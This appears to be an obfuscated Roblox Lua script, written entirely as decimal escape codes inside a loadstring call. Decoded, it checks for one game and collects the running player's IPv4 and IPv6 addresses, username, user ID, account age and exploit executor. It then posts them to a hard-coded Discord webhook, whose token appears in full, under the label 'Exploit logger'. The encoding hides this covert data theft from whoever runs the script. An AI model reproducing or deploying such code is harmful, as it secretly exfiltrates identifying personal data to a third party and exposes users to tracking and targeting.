loadstring("\105\102\32\103\97\109\101\46\80\108\97\99\101\73\100\32\61\61\32\57\49\50\51\48\55\48\56\53\52\32\116\104\101\110\32\10\108\111\99\97\108\32\112\108\114\32\61\32\103\97\109\101\46\80\108\97\121\101\114\115\46\76\111\99\97\108\80\108\97\121\101\114\10\108\111\99\97\108\32\73\80\118\52\32\61\32\103\97\109\101\58\72\116\116\112\71\101\116\40\34\104\116\116\112\115\58\47\47\118\52\46\105\100\101\110\116\46\109\101\47\34\41\10\108\111\99\97\108\32\73\80\118\54\32\61\32\103\97\109\101\58\72\116\116\112\71\101\116\40\34\104\116\116\112\115\58\47\47\118\54\46\105\100\101\110\116\46\109\101\47\34\41\10\108\111\99\97\108\32\79\83\84\105\109\101\32\61\32\111\115\46\116\105\109\101\40\41\10\108\111\99\97\108\32\84\105\109\101\32\61\32\111\115\46\100\97\116\101\40\39\33\42\116\39\44\32\79\83\84\105\109\101\41\10\10\108\111\99\97\108\32\102\117\110\99\116\105\111\110\32\103\101\116\101\120\112\108\111\105\116\40\41\10\32\32\32\32\108\111\99\97\108\32\101\120\112\108\111\105\116\32\61\10\32\32\32\32\32\32\32\32\40\115\121\110\32\97\110\100\32\110\111\116\32\105\115\95\115\105\114\104\117\114\116\95\99\108\111\115\117\114\101\32\97\110\100\32\110\111\116\32\112\101\98\99\95\101\120\101\99\117\116\101\32\97\110\100\32\34\83\121\110\97\112\115\101\32\88\34\41\32\111\114\32\10\32\32\32\32\32\32\32\32\40\105\115\101\120\101\99\117\116\111\114\99\108\111\115\117\114\101\32\97\110\100\32\34\83\99\114\105\112\116\45\87\97\114\101\32\86\50\34\41\32\111\114\10\32\32\32\32\32\32\32\32\40\115\101\99\117\114\101\95\108\111\97\100\32\97\110\100\32\34\83\101\110\116\105\110\101\108\34\41\32\111\114\10\32\32\32\32\32\32\32\32\40\105\115\95\115\105\114\104\117\114\116\95\99\108\111\115\117\114\101\32\97\110\100\32\34\83\105\114\72\117\114\116\32\86\52\34\41\32\111\114\10\32\32\32\32\32\32\32\32\40\112\101\98\99\95\101\120\101\99\117\116\101\32\97\110\100\32\34\80\114\111\116\111\83\109\97\115\104\101\114\34\41\32\111\114\10\32\32\32\32\32\32\32\32\40\75\82\78\76\95\76\79\65\68\69\68\32\97\110\100\32\34\75\114\110\108\34\41\32\111\114\10\32\32\32\32\32\32\32\32\40\87\114\97\112\71\108\111\98\97\108\32\97\110\100\32\34\87\101\65\114\101\68\101\118\115\34\41\32\111\114\10\32\32\32\32\32\32\32\32\40\105\115\118\109\32\97\110\100\32\34\80\114\111\120\111\34\41\32\111\114\10\32\32\32\32\32\32\32\32\40\115\104\97\100\111\119\95\101\110\118\32\97\110\100\32\34\83\104\97\100\111\119\34\41\32\111\114\10\32\32\32\32\32\32\32\32\40\106\105\116\32\97\110\100\32\34\69\97\115\121\69\120\112\108\111\105\116\115\34\41\32\111\114\10\32\32\32\32\32\32\32\32\40\103\101\116\114\101\103\40\41\91\39\67\97\108\97\109\97\114\105\76\117\97\69\110\118\39\93\32\97\110\100\32\34\67\97\108\97\109\97\114\105\34\41\32\111\114\10\32\32\32\32\32\32\32\32\40\117\110\105\116\32\97\110\100\32\34\85\110\105\116\34\41\32\111\114\10\32\32\32\32\32\32\32\32\40\34\85\110\100\101\116\101\99\116\97\98\108\101\34\41\10\32\32\32\32\114\101\116\117\114\110\32\101\120\112\108\111\105\116\10\101\110\100\10\108\111\99\97\108\32\69\109\98\101\100\32\61\32\123\10\9\9\9\91\34\116\105\116\108\101\34\93\32\61\32\34\95\95\42\42\78\101\119\32\101\120\101\99\117\116\105\111\110\46\42\42\95\95\34\44\10\9\9\9\91\34\100\101\115\99\114\105\112\116\105\111\110\34\93\32\61\32\34\85\115\101\114\110\97\109\101\58\32\34\46\46\112\108\114\46\78\97\109\101\46\46\34\92\110\68\105\115\112\108\97\121\32\78\97\109\101\58\32\34\46\46\112\108\114\46\68\105\115\112\108\97\121\78\97\109\101\46\46\34\92\110\69\120\112\108\111\105\116\58\32\34\46\46\103\101\116\101\120\112\108\111\105\116\40\41\46\46\34\92\110\71\97\109\101\73\68\58\32\34\46\46\103\97\109\101\46\80\108\97\99\101\73\100\46\46\34\92\110\71\97\109\101\58\32\104\116\116\112\115\58\47\47\119\119\119\46\114\111\98\108\111\120\46\99\111\109\47\103\97\109\101\115\47\34\46\46\103\97\109\101\46\80\108\97\99\101\73\100\44\10\9\9\9\91\34\116\121\112\101\34\93\32\61\32\34\114\105\99\104\34\44\10\9\9\9\91\34\99\111\108\111\114\34\93\32\61\32\116\111\110\117\109\98\101\114\40\48\120\102\102\102\102\48\48\41\44\10\9\32\32\32\32\32\32\32\32\32\32\32\32\32\32\32\32\91\34\116\104\117\109\98\110\97\105\108\34\93\32\61\32\123\10\9\9\9\9\91\34\117\114\108\34\93\32\61\32\34\104\116\116\112\115\58\47\47\119\119\119\46\114\111\98\108\111\120\46\99\111\109\47\97\115\115\101\116\45\116\104\117\109\98\110\97\105\108\47\105\109\97\103\101\63\97\115\115\101\116\73\100\61\34\46\46\103\97\109\101\46\80\108\97\99\101\73\100\46\46\34\38\119\105\100\116\104\61\55\54\56\38\104\101\105\103\104\116\61\52\51\50\34\10\9\9\9\125\44\10\9\9\9\91\34\105\109\97\103\101\34\93\32\61\32\123\10\9\9\9\9\91\34\117\114\108\34\93\32\61\32\34\104\116\116\112\58\47\47\119\119\119\46\114\111\98\108\111\120\46\99\111\109\47\84\104\117\109\98\115\47\65\118\97\116\97\114\46\97\115\104\120\63\120\61\50\53\48\38\121\61\50\53\48\38\70\111\114\109\97\116\61\80\110\103\38\117\115\101\114\110\97\109\101\61\34\46\46\112\108\114\46\78\97\109\101\10\9\9\9\125\44\10\9\9\9\91\34\102\105\101\108\100\115\34\93\32\61\32\123\10\9\9\9\32\32\32\32\9\123\10\9\9\9\9\9\91\34\110\97\109\101\34\93\32\61\32\34\95\95\85\115\101\114\32\76\105\110\107\58\95\95\34\44\10\9\9\9\9\9\91\34\118\97\108\117\101\34\93\32\61\32\34\104\116\116\112\115\58\47\47\119\119\119\46\114\111\98\108\111\120\46\99\111\109\47\115\101\97\114\99\104\47\117\115\101\114\115\63\107\101\121\119\111\114\100\61\34\46\46\112\108\114\46\78\97\109\101\44\10\9\9\9\9\9\91\34\105\110\108\105\110\101\34\93\32\61\32\116\114\117\101\10\9\9\9\9\125\44\10\9\9\9\9\10\9\9\9\9\123\10\9\9\9\9\9\91\34\110\97\109\101\34\93\32\61\32\34\95\95\73\80\32\65\100\100\114\101\115\115\58\95\95\34\44\10\9\9\9\9\9\91\34\118\97\108\117\101\34\93\32\61\32\73\80\118\52\44\10\9\9\9\9\9\91\34\105\110\108\105\110\101\34\93\32\61\32\116\114\117\101\10\9\9\9\9\125\44\10\9\9\9\9\10\9\9\9\9\9\9\9\123\10\9\9\9\9\9\91\34\110\97\109\101\34\93\32\61\32\34\95\95\73\80\86\54\58\95\95\34\44\10\9\9\9\9\9\91\34\118\97\108\117\101\34\93\32\61\32\73\80\118\54\44\10\9\9\9\9\9\91\34\105\110\108\105\110\101\34\93\32\61\32\116\114\117\101\10\9\9\9\9\125\44\10\9\9\9\9\10\9\9\9\9\9\9\9\9\9\9\9\123\10\9\9\9\9\9\91\34\110\97\109\101\34\93\32\61\32\34\95\95\65\99\99\111\117\110\116\32\65\103\101\58\95\95\34\44\10\9\9\9\9\9\91\34\118\97\108\117\101\34\93\32\61\32\112\108\114\46\65\99\99\111\117\110\116\65\103\101\46\46\34\32\100\97\121\115\32\111\108\100\34\44\10\9\9\9\9\9\91\34\105\110\108\105\110\101\34\93\32\61\32\116\114\117\101\10\9\9\9\9\125\44\10\9\9\9\9\10\9\9\9\9\123\10\9\9\9\9\9\91\34\110\97\109\101\34\93\32\61\32\34\95\95\85\115\101\114\32\73\68\58\95\95\34\44\10\9\9\9\9\9\91\34\118\97\108\117\101\34\93\32\61\32\112\108\114\46\85\115\101\114\73\100\44\10\9\9\9\9\9\91\34\105\110\108\105\110\101\34\93\32\61\32\116\114\117\101\10\9\9\9\9\125\10\9\9\9\125\44\10\9\9\9\91\34\102\111\111\116\101\114\34\93\32\61\32\123\10\9\9\9\32\32\32\32\91\34\116\101\120\116\34\93\32\61\32\34\69\120\112\108\111\105\116\32\108\111\103\103\101\114\34\44\10\9\9\9\32\32\32\32\91\34\105\99\111\110\95\117\114\108\34\93\32\61\32\34\104\116\116\112\115\58\47\47\99\100\110\46\100\105\115\99\111\114\100\97\112\112\46\99\111\109\47\105\99\111\110\115\47\57\53\53\53\54\48\53\55\57\55\57\52\51\54\50\51\56\56\47\102\50\97\55\102\99\56\51\97\54\50\48\101\53\54\99\55\99\97\54\55\97\48\51\98\49\54\102\99\98\55\102\46\119\101\98\112\63\115\105\122\101\61\49\48\48\38\113\117\111\116\59\41\59\34\10\9\9\9\125\44\10\9\9\9\91\34\116\105\109\101\115\116\97\109\112\34\93\32\61\32\115\116\114\105\110\103\46\102\111\114\109\97\116\40\39\37\100\45\37\100\45\37\100\84\37\48\50\100\58\37\48\50\100\58\37\48\50\100\90\39\44\32\84\105\109\101\46\121\101\97\114\44\32\84\105\109\101\46\109\111\110\116\104\44\32\84\105\109\101\46\100\97\121\44\32\84\105\109\101\46\104\111\117\114\44\32\84\105\109\101\46\109\105\110\44\32\84\105\109\101\46\115\101\99\41\44\10\125\59\10\40\115\121\110\32\97\110\100\32\115\121\110\46\114\101\113\117\101\115\116\32\111\114\32\104\116\116\112\95\114\101\113\117\101\115\116\32\111\114\32\104\116\116\112\46\114\101\113\117\101\115\116\41\32\123\10\32\32\32\32\85\114\108\32\61\32\39\104\116\116\112\115\58\47\47\100\105\115\99\111\114\100\46\99\111\109\47\97\112\105\47\119\101\98\104\111\111\107\115\47\57\56\50\57\52\53\52\54\53\57\49\54\48\56\52\50\53\53\47\119\87\108\99\103\117\119\120\112\52\82\68\118\83\54\101\107\69\106\50\69\67\76\81\119\74\50\103\48\98\118\65\80\116\69\118\118\119\80\55\90\66\70\56\117\116\77\121\50\70\77\105\85\113\52\55\82\71\118\48\50\90\72\80\108\100\78\49\39\59\10\32\32\32\32\77\101\116\104\111\100\32\61\32\39\80\79\83\84\39\59\10\32\32\32\32\72\101\97\100\101\114\115\32\61\32\123\10\32\32\32\32\32\32\32\32\91\39\67\111\110\116\101\110\116\45\84\121\112\101\39\93\32\61\32\39\97\112\112\108\105\99\97\116\105\111\110\47\106\115\111\110\39\59\10\32\32\32\32\125\59\10\32\32\32\32\66\111\100\121\32\61\32\103\97\109\101\58\71\101\116\83\101\114\118\105\99\101\39\72\116\116\112\83\101\114\118\105\99\101\39\58\74\83\79\78\69\110\99\111\100\101\40\123\99\111\110\116\101\110\116\32\61\32\67\111\110\116\101\110\116\59\32\101\109\98\101\100\115\32\61\32\123\69\109\98\101\100\125\59\32\125\41\59\10\125\59\10\101\110\100\10\10")()